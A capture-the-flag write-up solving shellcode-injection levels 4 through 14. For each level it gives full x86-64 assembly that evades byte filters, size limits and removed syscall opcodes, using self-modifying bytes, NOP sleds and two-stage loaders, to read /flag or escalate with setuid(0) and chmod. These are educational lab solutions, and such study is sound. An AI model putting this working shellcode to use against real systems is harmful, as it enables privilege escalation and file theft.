shellcode injection
level 4
in this challenge, the shellcode should not contain "H". we can avoid "H" by xoring out the register and using mov with shorter registers.
.intel_syntax noprefix
.global _start
_start:
call pwn
.string "/flag"
.byte 0x00
pwn:
; open(flag, 0)
xor eax, eax
xor esi, esi
xor edx, edx
xor r10d, r10d
push [rsp]
pop rdi
mov sil, 0
mov al, 2
syscall
; sendfile(1, rax, 0, 0x100)
xor edi, edi
mov dil, 1
mov sil, al
mov dl, 0
mov r10, 0x100
mov al, 40
syscalllevel 5
we cannot use syscall in this challenge. opcode for syscall is
0f 05in hex. so, we can hardcode0e 05bytes in shellcode and increment this byte during runtime.
.intel_syntax noprefix
.global _start
_start:
call pwn
.string "/flag"
.byte 0x00
pwn:
; open(flag, 0)
mov rdi, [rsp]
mov rsi, 0
mov rax, 2
inc byte ptr [rip]
.byte 0x0e, 0x05
; sendfile(1, rax, 0, 0x100)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 40
inc byte ptr [rip]
.byte 0x0e, 0x05level 6
similar to the last challenge, syscalls are not allowed, and the first 4095 bytes of the shellcode region is write protected, we can slide down this region using
nopand then modify/write syscall opcode during runtime.
.intel_syntax noprefix
.global _start
_start:
.rept 5000
nop
.endr
call pwn
.string "/flag"
.byte 0x00
pwn:
; open(flag, 0)
mov rdi, [rsp]
mov rsi, 0
mov rax, 2
inc byte ptr [rip]
.byte 0x0e, 0x05
; sendfile(1, rax, 0, 0x1000)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x1000
mov rax, 40
inc byte ptr [rip]
.byte 0x0e, 0x05level 7
all fds (stdin, stdout, stderr) are closed before executing shellcode. so we can open another file for writing the flag.
.intel_syntax noprefix
.global _start
_start:
call openflag
.string "/flag"
.byte 0x00
openflag:
; open(flag, 0(readonly))
mov rdi, [rsp]
mov rsi, 0
mov rax, 2
syscall
mov r14, rax
call openoutflag
.string "outflag"
.byte 0x00
openoutflag:
; open(flag, 1(writeonly))
mov rdi, [rsp]
mov rsi, 1
mov rax, 2
syscall
mov r15, rax
; sendfile(r15, r14, 0, 0x1000)
mov rdi, r15
mov rsi, r14
mov rdx, 0
mov r10, 0x100
mov rax, 40
syscall
flag will be stored in outflag in the current directory
level 8
have to write shellcode in just 18 bytes. cannot be multi staged because the memory region as write permission is removed after 18 bytes are read.
we can set real uid to 0 and then execute the shell script in current directly which is named "i" to save space. the reason we need setuid(0) is because execve will the run bash scripts with ruid, and ruid is 1000, unless we explicitly set it with setuid()
.intel_syntax noprefix
.global _start
.start:
; setuid(0)
xor edi, edi
mov al, 105
syscall
; execve("i", null, null)
push 0x69
push rsp
pop rdi
xor esi, esi
xor edx, edx
mov al, 59
syscallfile i can have
#!/bin/bash
cat /flagother solutions that uses chmod are much better and elegant, but i did not know that chmod was a syscall when i wrote my shellcode.
level 9
every other 10 bytes in shellcode is modified with
int3instruction. strategy for this challenge is:
instructions + jump + nop_padding = 10 bytes
10 * nops
instructions + jump + nop_padding = 10 bytes
10 * nops
instructions + jump + nop_padding = 10 bytes
10 * nops
...we are opening file
fin the current. directory which is a symlink to/flag
.intel_syntax noprefix
.global _start
_start:
call pwn
.string "f"
.byte 0
nop
nop
.rept 10
nop
.endr
pwn:
; open(flag, 0)
mov rdi, [rsp]
xor rsi, rsi
jmp one
nop
.rept 10
nop
.endr
one:
xor eax, eax
mov al, 2
syscall
jmp two
nop
nop
.rept 10
nop
.endr
two:
; sendfile(1, rax, 0, 0x100)
xor edi, edi
inc edi
mov rsi, rax
jmp three
nop
.rept 10
nop
.endr
three:
xor edx, edx
mov r10w, 0x100
jmp four
nop
.rept 10
nop
.endr
four:
xor eax, eax
mov al, 40
syscalllevel 10
shellcode will be treated as an array of 8 byte integer and sorted. this can be solved with either a very small shellcode (18 byte shellcode from challenge 8 works here). but we can also implement a very general strategy similar to level9:
instructions + jump + nop_padding + byte01 = 8 bytes
|
-----------------
|
v
instructions + jump + nop_padding + byte02 = 8 bytes
|
-----------------
|
v
instructions + jump + nop_padding + byte03 = 8 bytes
|
-----------------
|
v
instructions + jump + nop_padding + byte04 = 8 bytes
|
-----------------
|
v
instructions + jump + nop_padding + byte05 = 8 byteslast byte will be the msb hence, the array is already sorted.
.intel_syntax noprefix
.global _start
.start:
; open(flag, 0)
push 0x66
mov rdi, rsp
jmp pwn
.byte 1
pwn:
xor esi, esi
xor eax, eax
jmp one
nop
.byte 2
one:
mov al, 2
syscall
jmp two
nop
.byte 3
two:
; openfile(1, rax, 0, 0x100)
xor edi, edi
inc edi
jmp three
nop
.byte 4
three:
mov rsi, rax
xor edx, edx
jmp four
.byte 5
four:
mov r10w, 0x100
jmp five
.byte 6
five:
xor eax, eax
mov al, 40
syscall
nop
.byte 7level 11
this challenge is challenge 10 + close(stdin). our shellcode for last challenge doesn't involve a second stage. so shellcode from level 8 and level 10 works for this challenge as well.
level 12
every byte in this shellcode should be unique. we can use multi stage shellcode so that the first stage is very small and can made to be unique.
stage 2 is a generic shellcode. stage1:
.intel_syntax noprefix
.global _start
_start:
; read(0, addr, 100)
push 0x233a6010
pop rsi
and rdi, rax
add dl, 0x78
xor eax, eax
syscall
stage2:
.intel_syntax noprefix
.global _start
_start:
call pwn
.string "/flag"
.byte 0x00
pwn:
; open(flag, 0)
mov rdi, [rsp]
mov rsi, 0
mov rax, 2
syscall
; sendfile(1, rax, 0, 0x100)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 40
syscall(cat stage.1.shellcode; sleep 1; cat stage2.shellcode) | /challange/programlevel 13
only 12 bytes :(
we can do this using chmod syscall:
.intel_syntax noprefix
.global _start
_start:
; chmod(flag_symlink, garbage_that_ends_in_0100)
push 0x66
push rsp
pop rdi
mov sil, 4
mov al, 90
syscalllevel14
only 6 bytes?
not possible to craft independent shellcode in 6 bytes. we need to salvage what we have when we call the shellcode. also, the program does not strip write permission from the memory map, which means possibility for staged shellcode
this is the state of registers and memory when we call the shellcode.
0x00000000251c8000 in ?? ()
1: /x $rdi = 0x7c242f1a37e0
2: /x $rsi = 0x7c242f1a2723
3: /x $rdx = 0x251c8000
4: /x $r10 = 0x6501eb76f105
5: /x $rax = 0x0
7: x/10xg $rsp
0x7ffd343e28c8: 0x00006501eb76e7c3 0x00007ffd343e28f6
0x7ffd343e28d8: 0x00007ffd343e2a18 0x00007ffd343e2a08
0x7ffd343e28e8: 0x00000001eb76e7e0 0x0000000000000000
0x7ffd343e28f8: 0x00002710eb76e200 0x00007ffd343e2a10
0x7ffd343e2908: 0x00007ffd343e2ab0 0x0000000000000000rax is already zero, so we can call read.
memory region is in rdx, we can exchange rdx and rsi with xchg, so that rsi can point to shellcode mem region.
we can null rdi with xor. now we can
read(0, mem_addr, some_large_value)for stage2, we can use a generic shellcode with atleast 6 nops at the beginnning. stage1:
.intel_syntax noprefix
.global _start
_start:
xor edi, edi ; 2 bytes
xchg edx, esi ; 2 bytes
syscall ; 2 bytesstage2:
.intel_syntax noprefix
.global _start
_start:
.rept 50
nop
.endr
call pwn
.string "/flag"
.byte 0x00
pwn:
; open(flag, 0)
mov rdi, [rsp]
mov rsi, 0
mov rax, 2
syscall
; sendfile(1, rax, 0, 0x100)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 0x100
mov rax, 40
syscall$ (cat stage1.shellcode; sleep 1; cat stage2.shellcode) | /challenge/programLast updated